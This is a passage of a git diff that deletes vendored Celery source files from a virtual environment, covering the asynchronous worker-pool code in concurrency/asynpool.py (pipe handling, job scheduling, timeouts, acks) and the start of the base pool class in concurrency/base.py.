_meta_fd_argument_maker(): - # uses the current iterations value for fd - call_args = args - if "*fd*" in call_args: - call_args = [fd if arg == "*fd*" else arg for arg in args] - return call_args - # Track stale FDs for cleanup possibility - stale_fds = [] - for fd in fds_iter: - # Handle using the correct arguments to the hub method - hub_args, hub_kwargs = _meta_fd_argument_maker(), kwargs - try: # Call the hub method - hub_method(fd, *hub_args, **hub_kwargs) - except (OSError, FileNotFoundError): - logger.warning( - "Encountered OSError when accessing fd %s ", - fd, exc_info=True) - stale_fds.append(fd) # take note of stale fd - # Remove now defunct fds from the managed list - if source_data: - for fd in stale_fds: - try: - if hasattr(source_data, 'remove'): - source_data.remove(fd) - else: # then not a list/set ... try dict - source_data.pop(fd, None) - except ValueError: - logger.warning("ValueError trying to invalidate %s from %s", - fd, source_data) - - -class Worker(_pool.Worker): - """Pool worker process.""" - - def on_loop_start(self, pid): - # our version sends a WORKER_UP message when the process is ready - # to accept work, this will tell the parent that the inqueue fd - # is writable. - self.outq.put((WORKER_UP, (pid,))) - - -class ResultHandler(_pool.ResultHandler): - """Handles messages from the pool processes.""" - - def __init__(self, *args, **kwargs): - self.fileno_to_outq = kwargs.pop('fileno_to_outq') - self.on_process_alive = kwargs.pop('on_process_alive') - super().__init__(*args, **kwargs) - # add our custom message handler - self.state_handlers[WORKER_UP] = self.on_process_alive - - def _recv_message(self, add_reader, fd, callback, - __read__=__read__, readcanbuf=readcanbuf, - BytesIO=BytesIO, unpack_from=unpack_from, - load=_pickle.load): - Hr = Br = 0 - if readcanbuf: - buf = bytearray(4) - bufv = memoryview(buf) - else: - buf = bufv = BytesIO() - # header - - while Hr < 4: - try: - n = __read__( - fd, bufv[Hr:] if readcanbuf else bufv, 4 - Hr, - ) - except OSError as exc: - if exc.errno not in UNAVAIL: - raise - yield - else: - if n == 0: - raise (OSError('End of file during message') if Hr - else EOFError()) - Hr += n - - body_size, = unpack_from('>i', bufv) - if readcanbuf: - buf = bytearray(body_size) - bufv = memoryview(buf) - else: - buf = bufv = BytesIO() - - while Br < body_size: - try: - n = __read__( - fd, bufv[Br:] if readcanbuf else bufv, body_size - Br, - ) - except OSError as exc: - if exc.errno not in UNAVAIL: - raise - yield - else: - if n == 0: - raise (OSError('End of file during message') if Br - else EOFError()) - Br += n - add_reader(fd, self.handle_event, fd) - if readcanbuf: - message = load(BytesIO(bufv)) - else: - bufv.seek(0) - message = load(bufv) - if message: - callback(message) - - def _make_process_result(self, hub): - """Coroutine reading messages from the pool processes.""" - fileno_to_outq = self.fileno_to_outq - on_state_change = self.on_state_change - add_reader = hub.add_reader - remove_reader = hub.remove_reader - recv_message = self._recv_message - - def on_result_readable(fileno): - try: - fileno_to_outq[fileno] - except KeyError: # process gone - return remove_reader(fileno) - it = recv_message(add_reader, fileno, on_state_change) - try: - next(it) - except StopIteration: - pass - except (OSError, EOFError): - remove_reader(fileno) - else: - add_reader(fileno, it) - return on_result_readable - - def register_with_event_loop(self, hub): - self.handle_event = self._make_process_result(hub) - - def handle_event(self, *args): - # pylint: disable=method-hidden - # register_with_event_loop overrides this - raise RuntimeError('Not registered with event loop') - - def on_stop_not_started(self): - # This is always used, since we do not start any threads. - cache = self.cache - check_timeouts = self.check_timeouts - fileno_to_outq = self.fileno_to_outq - on_state_change = self.on_state_change - join_exited_workers = self.join_exited_workers - - # flush the processes outqueues until they've all terminated. - outqueues = set(fileno_to_outq) - while cache and outqueues and self._state != TERMINATE: - if check_timeouts is not None: - # make sure tasks with a time limit will time out. - check_timeouts() - # cannot iterate and remove at the same time - pending_remove_fd = set() - for fd in outqueues: - iterate_file_descriptors_safely( - [fd], self.fileno_to_outq, self._flush_outqueue, - pending_remove_fd.add, fileno_to_outq, on_state_change - ) - try: - join_exited_workers(shutdown=True) - except WorkersJoined: - debug('result handler: all workers terminated') - return - outqueues.difference_update(pending_remove_fd) - - def _flush_outqueue(self, fd, remove, process_index, on_state_change): - try: - proc = process_index[fd] - except KeyError: - # process already found terminated - # this means its outqueue has already been processed - # by the worker lost handler. - return remove(fd) - - reader = proc.outq._reader - try: - setblocking(reader, 1) - except OSError: - return remove(fd) - result = None - try: - if reader.poll(0): - task = reader.recv() - else: - task = None - sleep(0.5) - except (OSError, EOFError): - result = remove(fd) - else: - if task: - on_state_change(task) - finally: - try: - setblocking(reader, 0) - except OSError: - result = remove(fd) - return result - - -class AsynPool(_pool.Pool): - """AsyncIO Pool (no threads).""" - - ResultHandler = ResultHandler - Worker = Worker - - #: Set by :meth:`register_with_event_loop` after running the first time. - _registered_with_event_loop = False - - def WorkerProcess(self, worker): - worker = super().WorkerProcess(worker) - worker.dead = False - return worker - - def __init__(self, processes=None, synack=False, - sched_strategy=None, proc_alive_timeout=None, - *args, **kwargs): - self.sched_strategy = SCHED_STRATEGIES.get(sched_strategy, - sched_strategy) - processes = self.cpu_count() if processes is None else processes - self.synack = synack - # create queue-pairs for all our processes in advance. - self._queues = { - self.create_process_queues(): None for _ in range(processes) - } - - # inqueue fileno -> process mapping - self._fileno_to_inq = {} - # outqueue fileno -> process mapping - self._fileno_to_outq = {} - # synqueue fileno -> process mapping - self._fileno_to_synq = {} - - # We keep track of processes that haven't yet - # sent a WORKER_UP message. If a process fails to send - # this message within _proc_alive_timeout we terminate it - # and hope the next process will recover. - self._proc_alive_timeout = ( - PROC_ALIVE_TIMEOUT if proc_alive_timeout is None - else proc_alive_timeout - ) - self._waiting_to_start = set() - - # denormalized set of all inqueues. - self._all_inqueues = set() - - # Set of fds being written to (busy) - self._active_writes = set() - - # Set of active co-routines currently writing jobs. - self._active_writers = set() - - # Set of fds that are busy (executing task) - self._busy_workers = set() - self._mark_worker_as_available = self._busy_workers.discard - - # Holds jobs waiting to be written to child processes. - self.outbound_buffer = deque() - - self.write_stats = Counter() - - super().__init__(processes, *args, synack=synack, **kwargs) - - for proc in self._pool: - # create initial mappings, these will be updated - # as processes are recycled, or found lost elsewhere. - self._fileno_to_outq[proc.outqR_fd] = proc - self._fileno_to_synq[proc.synqW_fd] = proc - - self.on_soft_timeout = getattr( - self._timeout_handler, 'on_soft_timeout', noop, - ) - self.on_hard_timeout = getattr( - self._timeout_handler, 'on_hard_timeout', noop, - ) - - def _create_worker_process(self, i): - worker_before_create_process.send(sender=self) - gc.collect() # Issue #2927 - return super()._create_worker_process(i) - - def _event_process_exit(self, hub, proc): - # This method is called whenever the process sentinel is readable. - self._untrack_child_process(proc, hub) - self.maintain_pool() - - def _track_child_process(self, proc, hub): - """Helper method determines appropriate fd for process.""" - try: - fd = proc._sentinel_poll - except AttributeError: - # we need to duplicate the fd here to carefully - # control when the fd is removed from the process table, - # as once the original fd is closed we cannot unregister - # the fd from epoll(7) anymore, causing a 100% CPU poll loop. - fd = proc._sentinel_poll = os.dup(proc._popen.sentinel) - # Safely call hub.add_reader for the determined fd - iterate_file_descriptors_safely( - [fd], None, hub.add_reader, - self._event_process_exit, hub, proc) - - def _untrack_child_process(self, proc, hub): - sentinel_poll = getattr(proc, '_sentinel_poll', None) - if sentinel_poll is not None: - proc._sentinel_poll = None - hub.remove(sentinel_poll) - os.close(sentinel_poll) - - def register_with_event_loop(self, hub): - """Register the async pool with the current event loop.""" - self._result_handler.register_with_event_loop(hub) - self.handle_result_event = self._result_handler.handle_event - self._create_timelimit_handlers(hub) - self._create_process_handlers(hub) - self._create_write_handlers(hub) - - # Add handler for when a process exits (calls maintain_pool) - [self._track_child_process(w, hub) for w in self._pool] - # Handle_result_event is called whenever one of the - # result queues are readable. - iterate_file_descriptors_safely( - self._fileno_to_outq, self._fileno_to_outq, hub.add_reader, - self.handle_result_event, '*fd*') - - # Timers include calling maintain_pool at a regular interval - # to be certain processes are restarted. - for handler, interval in self.timers.items(): - hub.call_repeatedly(interval, handler) - - # Add on_poll_start to the event loop only once to prevent duplication - # when the Consumer restarts due to a connection error. - if not self._registered_with_event_loop: - hub.on_tick.add(self.on_poll_start) - self._registered_with_event_loop = True - - def _create_timelimit_handlers(self, hub): - """Create handlers used to implement time limits.""" - call_later = hub.call_later - trefs = self._tref_for_id = WeakValueDictionary() - - def on_timeout_set(R, soft, hard): - if soft: - trefs[R._job] = call_later( - soft, self._on_soft_timeout, R._job, soft, hard, hub, - ) - elif hard: - trefs[R._job] = call_later( - hard, self._on_hard_timeout, R._job, - ) - self.on_timeout_set = on_timeout_set - - def _discard_tref(job): - try: - tref = trefs.pop(job) - tref.cancel() - del tref - except (KeyError, AttributeError): - pass # out of scope - self._discard_tref = _discard_tref - - def on_timeout_cancel(R): - _discard_tref(R._job) - self.on_timeout_cancel = on_timeout_cancel - - def _on_soft_timeout(self, job, soft, hard, hub): - # only used by async pool. - if hard: - self._tref_for_id[job] = hub.call_later( - hard - soft, self._on_hard_timeout, job, - ) - try: - result = self._cache[job] - except KeyError: - pass # job ready - else: - self.on_soft_timeout(result) - finally: - if not hard: - # remove tref - self._discard_tref(job) - - def _on_hard_timeout(self, job): - # only used by async pool. - try: - result = self._cache[job] - except KeyError: - pass # job ready - else: - self.on_hard_timeout(result) - finally: - # remove tref - self._discard_tref(job) - - def on_job_ready(self, job, i, obj, inqW_fd): - self._mark_worker_as_available(inqW_fd) - - def _create_process_handlers(self, hub): - """Create handlers called on process up/down, etc.""" - add_reader, remove_reader, remove_writer = ( - hub.add_reader, hub.remove_reader, hub.remove_writer, - ) - cache = self._cache - all_inqueues = self._all_inqueues - fileno_to_inq = self._fileno_to_inq - fileno_to_outq = self._fileno_to_outq - fileno_to_synq = self._fileno_to_synq - busy_workers = self._busy_workers - handle_result_event = self.handle_result_event - process_flush_queues = self.process_flush_queues - waiting_to_start = self._waiting_to_start - - def verify_process_alive(proc): - proc = proc() # is a weakref - if (proc is not None and proc._is_alive() and - proc in waiting_to_start): - assert proc.outqR_fd in fileno_to_outq - assert fileno_to_outq[proc.outqR_fd] is proc - assert proc.outqR_fd in hub.readers - error('Timed out waiting for UP message from %r', proc) - os.kill(proc.pid, 9) - - def on_process_up(proc): - """Called when a process has started.""" - # If we got the same fd as a previous process then we'll also - # receive jobs in the old buffer, so we need to reset the - # job._write_to and job._scheduled_for attributes used to recover - # message boundaries when processes exit. - infd = proc.inqW_fd - for job in cache.values(): - if job._write_to and job._write_to.inqW_fd == infd: - job._write_to = proc - if job._scheduled_for and job._scheduled_for.inqW_fd == infd: - job._scheduled_for = proc - fileno_to_outq[proc.outqR_fd] = proc - - # maintain_pool is called whenever a process exits. - self._track_child_process(proc, hub) - - assert not isblocking(proc.outq._reader) - - # handle_result_event is called when the processes outqueue is - # readable. - add_reader(proc.outqR_fd, handle_result_event, proc.outqR_fd) - - waiting_to_start.add(proc) - hub.call_later( - self._proc_alive_timeout, verify_process_alive, ref(proc), - ) - - self.on_process_up = on_process_up - - def _remove_from_index(obj, proc, index, remove_fun, callback=None): - # this remove the file descriptors for a process from - # the indices. we have to make sure we don't overwrite - # another processes fds, as the fds may be reused. - try: - fd = obj.fileno() - except OSError: - return - - try: - if index[fd] is proc: - # fd hasn't been reused so we can remove it from index. - index.pop(fd, None) - except KeyError: - pass - else: - remove_fun(fd) - if callback is not None: - callback(fd) - return fd - - def on_process_down(proc): - """Called when a worker process exits.""" - if getattr(proc, 'dead', None): - return - process_flush_queues(proc) - _remove_from_index( - proc.outq._reader, proc, fileno_to_outq, remove_reader, - ) - if proc.synq: - _remove_from_index( - proc.synq._writer, proc, fileno_to_synq, remove_writer, - ) - inq = _remove_from_index( - proc.inq._writer, proc, fileno_to_inq, remove_writer, - callback=all_inqueues.discard, - ) - if inq: - busy_workers.discard(inq) - self._untrack_child_process(proc, hub) - waiting_to_start.discard(proc) - self._active_writes.discard(proc.inqW_fd) - remove_writer(proc.inq._writer) - remove_reader(proc.outq._reader) - if proc.synqR_fd: - remove_reader(proc.synq._reader) - if proc.synqW_fd: - self._active_writes.discard(proc.synqW_fd) - remove_reader(proc.synq._writer) - self.on_process_down = on_process_down - - def _create_write_handlers(self, hub, - pack=pack, dumps=_pickle.dumps, - protocol=HIGHEST_PROTOCOL): - """Create handlers used to write data to child processes.""" - fileno_to_inq = self._fileno_to_inq - fileno_to_synq = self._fileno_to_synq - outbound = self.outbound_buffer - pop_message = outbound.popleft - put_message = outbound.append - all_inqueues = self._all_inqueues - active_writes = self._active_writes - active_writers = self._active_writers - busy_workers = self._busy_workers - diff = all_inqueues.difference - add_writer = hub.add_writer - hub_add, hub_remove = hub.add, hub.remove - mark_write_fd_as_active = active_writes.add - mark_write_gen_as_active = active_writers.add - mark_worker_as_busy = busy_workers.add - write_generator_done = active_writers.discard - get_job = self._cache.__getitem__ - write_stats = self.write_stats - is_fair_strategy = self.sched_strategy == SCHED_STRATEGY_FAIR - revoked_tasks = worker_state.revoked - getpid = os.getpid - - precalc = {ACK: self._create_payload(ACK, (0,)), - NACK: self._create_payload(NACK, (0,))} - - def _put_back(job, _time=time.time): - # puts back at the end of the queue - if job._terminated is not None or \ - job.correlation_id in revoked_tasks: - if not job._accepted: - job._ack(None, _time(), getpid(), None) - job._set_terminated(job._terminated) - else: - # XXX linear lookup, should find a better way, - # but this happens rarely and is here to protect against races. - if job not in outbound: - outbound.appendleft(job) - self._put_back = _put_back - - # called for every event loop iteration, and if there - # are messages pending this will schedule writing one message - # by registering the 'schedule_writes' function for all currently - # inactive inqueues (not already being written to) - - # consolidate means the event loop will merge them - # and call the callback once with the list writable fds as - # argument. Using this means we minimize the risk of having - # the same fd receive every task if the pipe read buffer is not - # full. - - def on_poll_start(): - # Determine which io descriptors are not busy - inactive = diff(active_writes) - - # Determine hub_add vs hub_remove strategy conditional - if is_fair_strategy: - # outbound buffer present and idle workers exist - add_cond = outbound and len(busy_workers) < len(all_inqueues) - else: # default is add when data exists in outbound buffer - add_cond = outbound - - if add_cond: # calling hub_add vs hub_remove - iterate_file_descriptors_safely( - inactive, all_inqueues, hub_add, - None, WRITE | ERR, consolidate=True) - else: - iterate_file_descriptors_safely( - inactive, all_inqueues, hub.remove_writer) - self.on_poll_start = on_poll_start - - def on_inqueue_close(fd, proc): - # Makes sure the fd is removed from tracking when - # the connection is closed, this is essential as fds may be reused. - busy_workers.discard(fd) - try: - if fileno_to_inq[fd] is proc: - fileno_to_inq.pop(fd, None) - active_writes.discard(fd) - all_inqueues.discard(fd) - except KeyError: - pass - self.on_inqueue_close = on_inqueue_close - self.hub_remove = hub_remove - - def schedule_writes(ready_fds, total_write_count=None): - if not total_write_count: - total_write_count = [0] - # Schedule write operation to ready file descriptor. - # The file descriptor is writable, but that does not - # mean the process is currently reading from the socket. - # The socket is buffered so writable simply means that - # the buffer can accept at least 1 byte of data. - - # This means we have to cycle between the ready fds. - # the first version used shuffle, but this version - # using `total_writes % ready_fds` is about 30% faster - # with many processes, and also leans more towards fairness - # in write stats when used with many processes - # [XXX On macOS, this may vary depending - # on event loop implementation (i.e, select/poll vs epoll), so - # have to test further] - num_ready = len(ready_fds) - - for _ in range(num_ready): - ready_fd = ready_fds[total_write_count[0] % num_ready] - total_write_count[0] += 1 - if ready_fd in active_writes: - # already writing to this fd - continue - if is_fair_strategy and ready_fd in busy_workers: - # worker is already busy with another task - continue - if ready_fd not in all_inqueues: - hub.remove_writer(ready_fd) - continue - try: - job = pop_message() - except IndexError: - # no more messages, remove all inactive fds from the hub. - # this is important since the fds are always writable - # as long as there's 1 byte left in the buffer, and so - # this may create a spinloop where the event loop - # always wakes up. - for inqfd in diff(active_writes): - hub.remove_writer(inqfd) - break - - else: - if not job._accepted: # job not accepted by another worker - try: - # keep track of what process the write operation - # was scheduled for. - proc = job._scheduled_for = fileno_to_inq[ready_fd] - except KeyError: - # write was scheduled for this fd but the process - # has since exited and the message must be sent to - # another process. - put_message(job) - continue - cor = _write_job(proc, ready_fd, job) - job._writer = ref(cor) - mark_write_gen_as_active(cor) - mark_write_fd_as_active(ready_fd) - mark_worker_as_busy(ready_fd) - - # Try to write immediately, in case there's an error. - try: - next(cor) - except StopIteration: - pass - except OSError as exc: - if exc.errno != errno.EBADF: - raise - else: - add_writer(ready_fd, cor) - hub.consolidate_callback = schedule_writes - - def send_job(tup): - # Schedule writing job request for when one of the process - # inqueues are writable. - body = dumps(tup, protocol=protocol) - body_size = len(body) - header = pack('>I', body_size) - # index 1,0 is the job ID. - job = get_job(tup[1][0]) - job._payload = memoryview(header), memoryview(body), body_size - put_message(job) - self._quick_put = send_job - - def on_not_recovering(proc, fd, job, exc): - logger.exception( - 'Process inqueue damaged: %r %r: %r', proc, proc.exitcode, exc) - if proc._is_alive(): - proc.terminate() - hub.remove(fd) - self._put_back(job) - - def _write_job(proc, fd, job): - # writes job to the worker process. - # Operation must complete if more than one byte of data - # was written. If the broker connection is lost - # and no data was written the operation shall be canceled. - header, body, body_size = job._payload - errors = 0 - try: - # job result keeps track of what process the job is sent to. - job._write_to = proc - send = proc.send_job_offset - - Hw = Bw = 0 - # write header - while Hw < 4: - try: - Hw += send(header, Hw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - errors += 1 - if errors > 100: - on_not_recovering(proc, fd, job, exc) - raise StopIteration() - yield - else: - errors = 0 - - # write body - while Bw < body_size: - try: - Bw += send(body, Bw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - errors += 1 - if errors > 100: - on_not_recovering(proc, fd, job, exc) - raise StopIteration() - yield - else: - errors = 0 - finally: - hub.remove_writer(fd) - write_stats[proc.index] += 1 - # message written, so this fd is now available - active_writes.discard(fd) - write_generator_done(job._writer()) # is a weakref - - def send_ack(response, pid, job, fd): - # Only used when synack is enabled. - # Schedule writing ack response for when the fd is writable. - msg = Ack(job, fd, precalc[response]) - callback = promise(write_generator_done) - cor = _write_ack(fd, msg, callback=callback) - mark_write_gen_as_active(cor) - mark_write_fd_as_active(fd) - callback.args = (cor,) - add_writer(fd, cor) - self.send_ack = send_ack - - def _write_ack(fd, ack, callback=None): - # writes ack back to the worker if synack enabled. - # this operation *MUST* complete, otherwise - # the worker process will hang waiting for the ack. - header, body, body_size = ack[2] - try: - try: - proc = fileno_to_synq[fd] - except KeyError: - # process died, we can safely discard the ack at this - # point. - raise StopIteration() - send = proc.send_syn_offset - - Hw = Bw = 0 - # write header - while Hw < 4: - try: - Hw += send(header, Hw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - yield - - # write body - while Bw < body_size: - try: - Bw += send(body, Bw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - yield - finally: - if callback: - callback() - # message written, so this fd is now available - active_writes.discard(fd) - - def flush(self): - if self._state == TERMINATE: - return - # cancel all tasks that haven't been accepted so that NACK is sent - # if synack is enabled, otherwise discard them from the cache - # since they will be redelivered by the broker. - for job in tuple(self._cache.values()): - if not job._accepted: - if self.synack: - job._cancel() - else: - job.discard() - - # clear the outgoing buffer as the tasks will be redelivered by - # the broker anyway. - if self.outbound_buffer: - self.outbound_buffer.clear() - - self.maintain_pool() - - try: - # ...but we must continue writing the payloads we already started - # to keep message boundaries. - # The messages may be NACK'ed later if synack is enabled. - if self._state == RUN: - # flush outgoing buffers - intervals = fxrange(0.01, 0.1, 0.01, repeatlast=True) - - # TODO: Rewrite this as a dictionary comprehension once we drop support for Python 3.7 - # This dict comprehension requires the walrus operator which is only available in 3.8. - owned_by = {} - for job in self._cache.values(): - writer = _get_job_writer(job) - if writer is not None: - owned_by[writer] = job - - while self._active_writers: - writers = list(self._active_writers) - for gen in writers: - if (gen.__name__ == '_write_job' and - gen_not_started(gen)): - # hasn't started writing the job so can - # discard the task, but we must also remove - # it from the Pool._cache. - try: - job = owned_by[gen] - except KeyError: - pass - else: - # removes from Pool._cache - job.discard() - self._active_writers.discard(gen) - else: - try: - job = owned_by[gen] - except KeyError: - # Generator not in owned_by — not a _write_job - # (e.g. a _write_ack coroutine added by send_ack()). - # These *MUST* complete or the worker process will - # hang waiting for the ack. Advance it one step; - # the generator raises StopIteration/OSError when - # done or when the peer process has already died. - try: - next(gen) - except (StopIteration, OSError, EOFError): - self._active_writers.discard(gen) - else: - job_proc = job._write_to - if job_proc._is_alive(): - # _flush_writer calls - # _active_writers.discard(gen) in its finally. - self._flush_writer(job_proc, gen) - else: - # Process is dead, job will never - # complete - discard from cache. - job.discard() - self._active_writers.discard(gen) - # workers may have exited in the meantime. - self.maintain_pool() - sleep(next(intervals)) # don't busyloop - finally: - self.outbound_buffer.clear() - self._active_writers.clear() - self._active_writes.clear() - self._busy_workers.clear() - - def _flush_writer(self, proc, writer): - fds = {proc.inq._writer} - try: - while fds: - if not proc._is_alive(): - break # process exited - readable, writable, again = _select( - writers=fds, err=fds, timeout=0.5, - ) - if not again and (writable or readable): - try: - next(writer) - except (StopIteration, OSError, EOFError): - break - finally: - self._active_writers.discard(writer) - - def get_process_queues(self): - """Get queues for a new process. - - Here we'll find an unused slot, as there should always - be one available when we start a new process. - """ - return next(q for q, owner in self._queues.items() - if owner is None) - - def on_grow(self, n): - """Grow the pool by ``n`` processes.""" - diff = max(self._processes - len(self._queues), 0) - if diff: - self._queues.update({ - self.create_process_queues(): None for _ in range(diff) - }) - - def on_shrink(self, n): - """Shrink the pool by ``n`` processes.""" - - def create_process_queues(self): - """Create new in, out, etc. queues, returned as a tuple.""" - # NOTE: Pipes must be set O_NONBLOCK at creation time (the original - # fd), otherwise it won't be possible to change the flags until - # there's an actual reader/writer on the other side. - inq = _SimpleQueue(wnonblock=True) - outq = _SimpleQueue(rnonblock=True) - synq = None - assert isblocking(inq._reader) - assert not isblocking(inq._writer) - assert not isblocking(outq._reader) - assert isblocking(outq._writer) - if self.synack: - synq = _SimpleQueue(wnonblock=True) - assert isblocking(synq._reader) - assert not isblocking(synq._writer) - return inq, outq, synq - - def on_process_alive(self, pid): - """Called when receiving the :const:`WORKER_UP` message. - - Marks the process as ready to receive work. - """ - try: - proc = next(w for w in self._pool if w.pid == pid) - except StopIteration: - return logger.warning('process with pid=%s already exited', pid) - assert proc.inqW_fd not in self._fileno_to_inq - assert proc.inqW_fd not in self._all_inqueues - self._waiting_to_start.discard(proc) - self._fileno_to_inq[proc.inqW_fd] = proc - self._fileno_to_synq[proc.synqW_fd] = proc - self._all_inqueues.add(proc.inqW_fd) - - def on_job_process_down(self, job, pid_gone): - """Called for each job when the process assigned to it exits.""" - if job._write_to and not job._write_to._is_alive(): - # job was partially written - self.on_partial_read(job, job._write_to) - elif job._scheduled_for and not job._scheduled_for._is_alive(): - # job was only scheduled to be written to this process, - # but no data was sent so put it back on the outbound_buffer. - self._put_back(job) - - def on_job_process_lost(self, job, pid, exitcode): - """Called when the process executing job' exits. - - This happens when the process job' - was assigned to exited by mysterious means (error exitcodes and - signals). - """ - self.mark_as_worker_lost(job, exitcode) - - def human_write_stats(self): - if self.write_stats is None: - return 'N/A' - vals = list(self.write_stats.values()) - total = sum(vals) - - def per(v, total): - return f'{(float(v) / total) if v else 0:.2f}' - - return { - 'total': total, - 'avg': per(total / len(self.write_stats) if total else 0, total), - 'all': ', '.join(per(v, total) for v in vals), - 'raw': ', '.join(map(str, vals)), - 'strategy': SCHED_STRATEGY_TO_NAME.get( - self.sched_strategy, self.sched_strategy, - ), - 'inqueues': { - 'total': len(self._all_inqueues), - 'active': len(self._active_writes), - } - } - - def _process_cleanup_queues(self, proc): - """Called to clean up queues after process exit.""" - if not proc.dead: - try: - self._queues[self._find_worker_queues(proc)] = None - except (KeyError, ValueError): - pass - - @staticmethod - def _stop_task_handler(task_handler): - """Called at shutdown to tell processes that we're shutting down.""" - for proc in task_handler.pool: - try: - setblocking(proc.inq._writer, 1) - except OSError: - pass - else: - try: - proc.inq.put(None) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - def create_result_handler(self): - return super().create_result_handler( - fileno_to_outq=self._fileno_to_outq, - on_process_alive=self.on_process_alive, - ) - - def _process_register_queues(self, proc, queues): - """Mark new ownership for ``queues`` to update fileno indices.""" - assert queues in self._queues - b = len(self._queues) - self._queues[queues] = proc - assert b == len(self._queues) - - def _find_worker_queues(self, proc): - """Find the queues owned by ``proc``.""" - try: - return next(q for q, owner in self._queues.items() - if owner == proc) - except StopIteration: - raise ValueError(proc) - - def _setup_queues(self): - # this is only used by the original pool that used a shared - # queue for all processes. - self._quick_put = None - - # these attributes are unused by this class, but we'll still - # have to initialize them for compatibility. - self._inqueue = self._outqueue = \ - self._quick_get = self._poll_result = None - - def process_flush_queues(self, proc): - """Flush all queues. - - Including the outbound buffer, so that - all tasks that haven't been started will be discarded. - - In Celery this is called whenever the transport connection is lost - (consumer restart), and when a process is terminated. - """ - resq = proc.outq._reader - on_state_change = self._result_handler.on_state_change - fds = {resq} - while fds and not resq.closed and self._state != TERMINATE: - readable, _, _ = _select(fds, None, fds, timeout=0.01) - if readable: - try: - task = resq.recv() - except (OSError, EOFError) as exc: - _errno = getattr(exc, 'errno', None) - if _errno == errno.EINTR: - continue - elif _errno == errno.EAGAIN: - break - elif _errno not in UNAVAIL: - debug('got %r while flushing process %r', - exc, proc, exc_info=1) - break - else: - if task is None: - debug('got sentinel while flushing process %r', proc) - break - else: - on_state_change(task) - else: - break - - def on_partial_read(self, job, proc): - """Called when a job was partially written to exited child.""" - # worker terminated by signal: - # we cannot reuse the sockets again, because we don't know if - # the process wrote/read anything from them, and if so we cannot - # restore the message boundaries. - if not job._accepted: - # job was not acked, so find another worker to send it to. - self._put_back(job) - writer = _get_job_writer(job) - if writer: - self._active_writers.discard(writer) - del writer - - if not proc.dead: - proc.dead = True - # Replace queues to avoid reuse - before = len(self._queues) - try: - queues = self._find_worker_queues(proc) - if self.destroy_queues(queues, proc): - self._queues[self.create_process_queues()] = None - except ValueError: - pass - assert len(self._queues) == before - - def destroy_queues(self, queues, proc): - """Destroy queues that can no longer be used. - - This way they can be replaced by new usable sockets. - """ - assert not proc._is_alive() - self._waiting_to_start.discard(proc) - removed = 1 - try: - self._queues.pop(queues) - except KeyError: - removed = 0 - try: - self.on_inqueue_close(queues[0]._writer.fileno(), proc) - except OSError: - pass - for queue in queues: - if queue: - for sock in (queue._reader, queue._writer): - if not sock.closed: - self.hub_remove(sock) - try: - sock.close() - except OSError: - pass - return removed - - def _create_payload(self, type_, args, - dumps=_pickle.dumps, pack=pack, - protocol=HIGHEST_PROTOCOL): - body = dumps((type_, args), protocol=protocol) - size = len(body) - header = pack('>I', size) - return header, body, size - - @classmethod - def _set_result_sentinel(cls, _outqueue, _pool): - # unused - pass - - def _help_stuff_finish_args(self): - # Pool._help_stuff_finished is a classmethod so we have to use this - # trick to modify the arguments passed to it. - return (self._pool,) - - @classmethod - def _help_stuff_finish(cls, pool): - # pylint: disable=arguments-differ - debug( - 'removing tasks from inqueue until task handler finished', - ) - fileno_to_proc = {} - inqR = set() - for w in pool: - try: - fd = w.inq._reader.fileno() - inqR.add(fd) - fileno_to_proc[fd] = w - except OSError: - pass - while inqR: - readable, _, again = _select(inqR, timeout=0.5) - if again: - continue - if not readable: - break - for fd in readable: - fileno_to_proc[fd].inq._reader.recv() - sleep(0) - - @property - def timers(self): - return {self.maintain_pool: 5.0} diff --git a/venv/Lib/site-packages/celery/concurrency/base.py b/venv/Lib/site-packages/celery/concurrency/base.py deleted file mode 100644 index 1ce9a751ea29d4efcb38b751d1b011692e28f92b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/base.py +++ /dev/null @@ -1,180 +0,0 @@ -"""Base Execution Pool.""" -import logging -import os -import sys -import time -from typing import Any, Dict - -from billiard.einfo import ExceptionInfo -from billiard.exceptions import WorkerLostError -from kombu.utils.encoding import safe_repr - -from celery.exceptions import WorkerShutdown, WorkerTerminate, reraise -from celery.utils import timer2 -from celery.utils.log import get_logger -from celery.utils.text import truncate - -__all__ = ('BasePool', 'apply_target') - -logger = get_logger('celery.pool') - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, pid=None, getpid=os.getpid, - propagate=(), monotonic=time.monotonic, **_): - """Apply function within pool context.""" - kwargs = {} if not kwargs else kwargs - if accept_callback: - accept_callback(pid or getpid(), monotonic()) - try: - ret = target(*args, **kwargs) - except propagate: - raise - except Exception: - raise - except (WorkerShutdown, WorkerTerminate): - raise - except BaseException as exc: - try: - reraise(WorkerLostError, WorkerLostError(repr(exc)), - sys.exc_info()[2]) - except WorkerLostError: - callback(ExceptionInfo()) - else: - callback(ret) - - -class BasePool: - """Task pool.""" - - RUN = 0x1 - CLOSE = 0x2 - TERMINATE = 0x3 - - Timer = timer2.Timer - - #: set to true if the pool can be shutdown from within - #: a signal handler. - signal_safe = True - - #: set to true if pool uses greenlets. - is_green = False - - _state = None - _pool = None - _does_debug = True - - #: only used by multiprocessing pool - uses_semaphore = False - - task_join_will_block = True - body_can_be_buffer = False - - def __init__(self, limit=None, putlocks=True, forking_enable=True, - callbacks_propagate=(), app=None, **options): - self.limit = limit - self.putlocks = putlocks - self.options = options - self.forking_enable = forking_enable - self.callbacks_propagate = callbacks_propagate - self.app = app - - def on_start(self): - pass - - def did_start_ok(self): - return True - - def flush(self): - pass - - def on_stop(self): - pass - - def register_with_event_loop(self, loop): - pass - - def on_apply(self, *args, **kwargs): - pass - - def on_terminate(self): - pass - - def on_soft_timeout(self, job): - pass - - def on_hard_timeout(self, job): - pass - - def maintain_pool(self, *args, **kwargs): - pass - - def terminate_job(self, pid, signal=None): - raise NotImplementedError( - f'{type(self)} does not implement kill_job') - - def restart(self): - raise NotImplementedError( - f'{type(self)} does not implement restart') - - def stop(self): - self.on_stop() - self._state = self.TERMINATE - - def terminate(self): - self._state = self.TERMINATE - self.on_terminate() - - def start(self): - self._does_debug = 